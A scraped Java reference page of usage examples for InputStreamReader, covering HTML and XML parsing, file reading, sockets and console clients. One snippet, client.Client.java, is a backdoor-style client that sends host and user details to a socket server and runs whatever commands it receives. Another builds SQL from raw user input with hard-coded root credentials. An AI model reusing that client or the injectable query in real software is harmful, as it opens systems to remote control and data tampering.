Example usage for java.io InputStreamReader InputStreamReader

List of usage examples for java.io InputStreamReader InputStreamReader

Introduction

In this page you can find the example usage for java.io InputStreamReader InputStreamReader.

Prototype

public InputStreamReader(InputStream in) 

Source Link

Document

Creates an InputStreamReader that uses the default charset.

Usage

From source file:MainClass.java

public static void main(String args[]) throws Exception {
    URL url = new URL("http://www.google.com");
    URLConnection connection = url.openConnection();
    InputStream is = connection.getInputStream();
    InputStreamReader isr = new InputStreamReader(is);
    BufferedReader br = new BufferedReader(isr);

    HTMLEditorKit htmlKit = new HTMLEditorKit();
    HTMLDocument htmlDoc = (HTMLDocument) htmlKit.createDefaultDocument();
    HTMLEditorKit.Parser parser = new ParserDelegator();
    HTMLEditorKit.ParserCallback callback = htmlDoc.getReader(0);
    parser.parse(br, callback, true);/*from  www .  j ava 2 s .  c o m*/

    Element element;
    ElementIterator iterator = new ElementIterator(htmlDoc);
    while ((element = iterator.next()) != null) {
        AttributeSet attributes = element.getAttributes();
        Object name = attributes.getAttribute(StyleConstants.NameAttribute);

        if ((name instanceof HTML.Tag) && (name == HTML.Tag.H1 || name == HTML.Tag.H2 || name == HTML.Tag.P)) {
            // Build up content text as it may be within multiple elements
            int count = element.getElementCount();
            for (int i = 0; i < count; i++) {
                Element child = element.getElement(i);
                AttributeSet childAttributes = child.getAttributes();
                if (childAttributes.getAttribute(StyleConstants.NameAttribute) == HTML.Tag.CONTENT) {
                    int startOffset = child.getStartOffset();
                    int endOffset = child.getEndOffset();
                    int length = endOffset - startOffset;
                    System.out.println(htmlDoc.getText(startOffset, length));
                }
            }
        }
    }
}

From source file:ProgressInputSample.java

public static void main(String args[]) {
    int returnValue = NORMAL;
    try {/*  w w  w  .j  av a2  s .  c om*/
        FileInputStream fis = new FileInputStream("person.xml");
        JLabel filenameLabel = new JLabel("persion.xml", JLabel.RIGHT);
        Object message[] = { "Reading:", filenameLabel };
        ProgressMonitorInputStream pmis = new ProgressMonitorInputStream(null, message, fis);
        InputStreamReader isr = new InputStreamReader(pmis);
        BufferedReader br = new BufferedReader(isr);
        String line;
        while ((line = br.readLine()) != null) {
            System.out.println(line);
        }
        br.close();
    } catch (Exception exception) {
        returnValue = PROBLEM;
    }
    System.exit(returnValue);
}

From source file:Main.java

public static void main(String[] argv) throws Exception {
    HTMLDocument doc = new HTMLDocument() {
        public HTMLEditorKit.ParserCallback getReader(int pos) {
            return new HTMLEditorKit.ParserCallback() {
                public void handleText(char[] data, int pos) {
                    System.out.println(data);
                }//  w w  w .  j  ava2s .  com
            };
        }
    };

    URL url = new URI("http://www.google.com").toURL();
    URLConnection conn = url.openConnection();
    Reader rd = new InputStreamReader(conn.getInputStream());

    EditorKit kit = new HTMLEditorKit();
    kit.read(rd, doc, 0);
}

From source file:com.seavus.wordcountermaven.WordCounter.java

/**
 * @param args the command line arguments
 * @throws java.io.FileNotFoundException
 *//* w  w  w  . j a  va 2 s .c om*/
public static void main(String[] args) throws FileNotFoundException {
    InputStream fileStream = WordCounter.class.getClassLoader().getResourceAsStream("test.txt");
    BufferedReader br = new BufferedReader(new InputStreamReader(fileStream));

    Map<String, Integer> wordMap = new HashMap<>();
    String line;

    boolean tokenFound = false;
    try {
        while ((line = br.readLine()) != null) {
            String[] tokens = line.trim().split("\\s+"); //trims surrounding whitespaces and splits lines into tokens
            for (String token : tokens) {
                for (Map.Entry<String, Integer> entry : wordMap.entrySet()) {
                    if (StringUtils.equalsIgnoreCase(token, entry.getKey())) {
                        wordMap.put(entry.getKey(), (wordMap.get(entry.getKey()) + 1));
                        tokenFound = true;
                    }
                }
                if (!token.equals("") && !tokenFound) {
                    wordMap.put(token.toLowerCase(), 1);
                }
                tokenFound = false;
            }
        }
        br.close();
    } catch (IOException ex) {
        Logger.getLogger(WordCounter.class.getName()).log(Level.SEVERE, null, ex);
    }

    System.out.println("string : " + "frequency\r\n" + "-------------------");
    //prints out each unique word (i.e. case-insensitive string token) and its frequency to the console
    for (Map.Entry<String, Integer> entry : wordMap.entrySet()) {
        System.out.println(entry.getKey() + " : " + entry.getValue());
    }

}

From source file:Main.java

public static void main(String[] argv) throws Exception {
    DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
    DocumentBuilder builder = factory.newDocumentBuilder();
    Document document = builder/*  ww  w .  j a  va2s  .  c  o  m*/
            .parse(new InputSource(new InputStreamReader(new FileInputStream("inputFile.xml"))));

    Transformer xformer = TransformerFactory.newInstance().newTransformer();
    xformer.setOutputProperty(OutputKeys.METHOD, "xml");
    xformer.setOutputProperty(OutputKeys.INDENT, "yes");
    xformer.setOutputProperty("http://xml.apache.org/xslt;indent-amount", "4");
    xformer.setOutputProperty(OutputKeys.OMIT_XML_DECLARATION, "yes");
    Source source = new DOMSource(document);
    Result result = new StreamResult(new File("result.xml"));
    xformer.transform(source, result);
}

From source file:client.Client.java

/**
 * @param args the command line arguments
 *//*  w  w  w  . j  av a  2s  . c  om*/
public static void main(String[] args) throws Exception {
    Socket st = new Socket("127.0.0.1", 1604);
    BufferedReader r = new BufferedReader(new InputStreamReader(st.getInputStream()));
    PrintWriter p = new PrintWriter(st.getOutputStream());

    while (true) {
        String s = r.readLine();
        new Thread() {
            @Override
            public void run() {
                String[] ar = s.split("\\|");
                if (s.startsWith("HALLO")) {
                    String str = "";
                    try {
                        str = InetAddress.getLocalHost().getHostName();
                    } catch (Exception e) {
                    }
                    p.println("info|" + s.split("\\|")[1] + "|" + System.getProperty("user.name") + "|"
                            + System.getProperty("os.name") + "|" + str);
                    p.flush();
                }
                if (s.startsWith("msg")) {
                    String text = fromHex(ar[1]);
                    String title = ar[2];
                    int i = Integer.parseInt(ar[3]);
                    JOptionPane.showMessageDialog(null, text, title, i);
                }
                if (s.startsWith("execute")) {
                    String cmd = ar[1];
                    try {
                        Runtime.getRuntime().exec(cmd);
                    } catch (Exception e) {
                    }
                }
                if (s.equals("getsystem")) {
                    StringBuilder sb = new StringBuilder();
                    for (Object o : System.getProperties().entrySet()) {
                        Map.Entry e = (Map.Entry) o;
                        sb.append("\n" + e.getKey() + "|" + e.getValue());

                    }
                    p.println("systeminfos|" + toHex(sb.toString().substring(1)));
                    p.flush();
                }
            }

        }.start();
    }
}

From source file:mx.com.pixup.portal.demo.DemoDisqueraUpdate.java

public static void main(String[] args) {
    System.out.println("BIENVENIDO A PIXUP");
    System.out.println("Mantenimiento catlogo disquera");
    System.out.println("Actualizacin de Disquera");

    InputStreamReader isr = new InputStreamReader(System.in);
    BufferedReader br = new BufferedReader(isr);
    Connection connection = null;
    Statement statement = null;/*  w  ww . j  av a 2s  .co m*/
    ResultSet resultSet = null;
    try {
        BasicDataSource dataSource = new BasicDataSource();
        dataSource.setDriverClassName("com.mysql.jdbc.Driver");
        dataSource.setUsername("root");
        dataSource.setPassword("admin");
        dataSource.setUrl("jdbc:mysql://127.0.0.1:3306/pixup");

        connection = dataSource.getConnection();
        statement = connection.createStatement();

        String sql = "select id, nombre from disquera order by nombre";

        resultSet = statement.executeQuery(sql);

        System.out.println("Id Disquera: \t Nombre Disquera");
        while (resultSet.next()) {
            System.out.println(resultSet.getInt("id") + " \t " + resultSet.getString("nombre"));
        }

        System.out.println("Proporcione el id de la disquera a actualizar: ");
        String idDisquera = br.readLine();

        System.out.println("Proporcione el nuevo nombre de la disquera: ");
        String nombreDisquera = br.readLine();

        sql = "update disquera set nombre = '" + nombreDisquera + "' where id = " + idDisquera;

        statement.execute(sql);

        System.out.println("Disqueras Actualizadas:");

        sql = "select id, nombre from disquera order by nombre desc";

        resultSet = statement.executeQuery(sql);

        System.out.println("Id Disquera: \t Nombre Disquera");
        while (resultSet.next()) {
            System.out.println(resultSet.getInt("id") + " \t " + resultSet.getString("nombre"));
        }

    } catch (Exception e) {
        System.out.println("Error en el sistema, intente ms tarde!!");
    } finally {
        if (resultSet != null) {
            try {
                resultSet.close();
            } catch (Exception e) {
            }
        }
        if (statement != null) {
            try {
                statement.close();
            } catch (Exception e) {
            }
        }
        if (connection != null) {
            try {
                connection.close();
            } catch (Exception e) {
            }
        }
    }
}

From source file:MainClass.java

public static void main(String[] args) throws Exception {

    ParserGetter kit = new ParserGetter();
    HTMLEditorKit.Parser parser = kit.getParser();

    URL u = new URL("http://www.java2s.com");
    InputStream in = u.openStream();
    InputStreamReader r = new InputStreamReader(in);
    String remoteFileName = u.getFile();
    if (remoteFileName.endsWith("/")) {
        remoteFileName += "index.html";
    }//from ww  w.  j a v a 2  s.c o  m
    if (remoteFileName.startsWith("/")) {
        remoteFileName = remoteFileName.substring(1);
    }
    File localDirectory = new File(u.getHost());
    while (remoteFileName.indexOf('/') > -1) {
        String part = remoteFileName.substring(0, remoteFileName.indexOf('/'));
        remoteFileName = remoteFileName.substring(remoteFileName.indexOf('/') + 1);
        localDirectory = new File(localDirectory, part);
    }
    if (localDirectory.mkdirs()) {
        File output = new File(localDirectory, remoteFileName);
        FileWriter out = new FileWriter(output);
        HTMLEditorKit.ParserCallback callback = new PageSaver(out, u);
        parser.parse(r, callback, false);
    }

}

From source file:Main.java

public static void main(String[] argv) throws Exception {
    String data = URLEncoder.encode("key1", "UTF-8") + "=" + URLEncoder.encode("value1", "UTF-8");

    Socket socket = new Socket("127.0.0.1", 8080);

    String path = "/servlet";
    BufferedWriter wr = new BufferedWriter(new OutputStreamWriter(socket.getOutputStream(), "UTF8"));
    wr.write("POST " + path + " HTTP/1.0\r\n");
    wr.write("Content-Length: " + data.length() + "\r\n");
    wr.write("Content-Type: application/x-www-form-urlencoded\r\n");
    wr.write("\r\n");

    wr.write(data);//  www .j  av a 2 s.co m
    wr.flush();

    BufferedReader rd = new BufferedReader(new InputStreamReader(socket.getInputStream()));
    String line;
    while ((line = rd.readLine()) != null) {
        System.out.println(line);
    }
    wr.close();
    rd.close();
}

From source file:animalclient.AnimalClient.java

/**
 * @param args the command line arguments
 *///from w w  w. java  2 s .  co m
public static void main(String[] arg) throws IOException, MalformedURLException, ParseException {
    // TODO code application logic here
    InputStreamReader isr = new InputStreamReader(System.in);
    BufferedReader br = new BufferedReader(isr);

    String username;
    String password;

    System.out.println("Username:");
    username = br.readLine();
    System.out.println("Password:");
    password = br.readLine();

    AnimalJerseyClient client = new AnimalJerseyClient(username, password);

    System.out.println("");
    System.out.println(
            "Willkommen bei ihrer Tierhandlung fr exotische Tiere. Geben sie help ein fr weitere Informationen");

    String auswahl = br.readLine();

    if (auswahl.equals("help")) {
        System.out.println("Sie haben folgende Auswahlmglichkeiten:");
        System.out.println("1. Listen sie alle verfgbaren Tiere auf.");
        System.out.println("2. Kaufen sie ein Tier.");
        System.out.println("3. Suchen sie nach einem Tier.");
        System.out.println("4. Whrung ndern.");
        auswahl = br.readLine();
        makeDecision(client, auswahl);
    } else {
        makeDecision(client, auswahl);
    }

    System.out.print("End");
}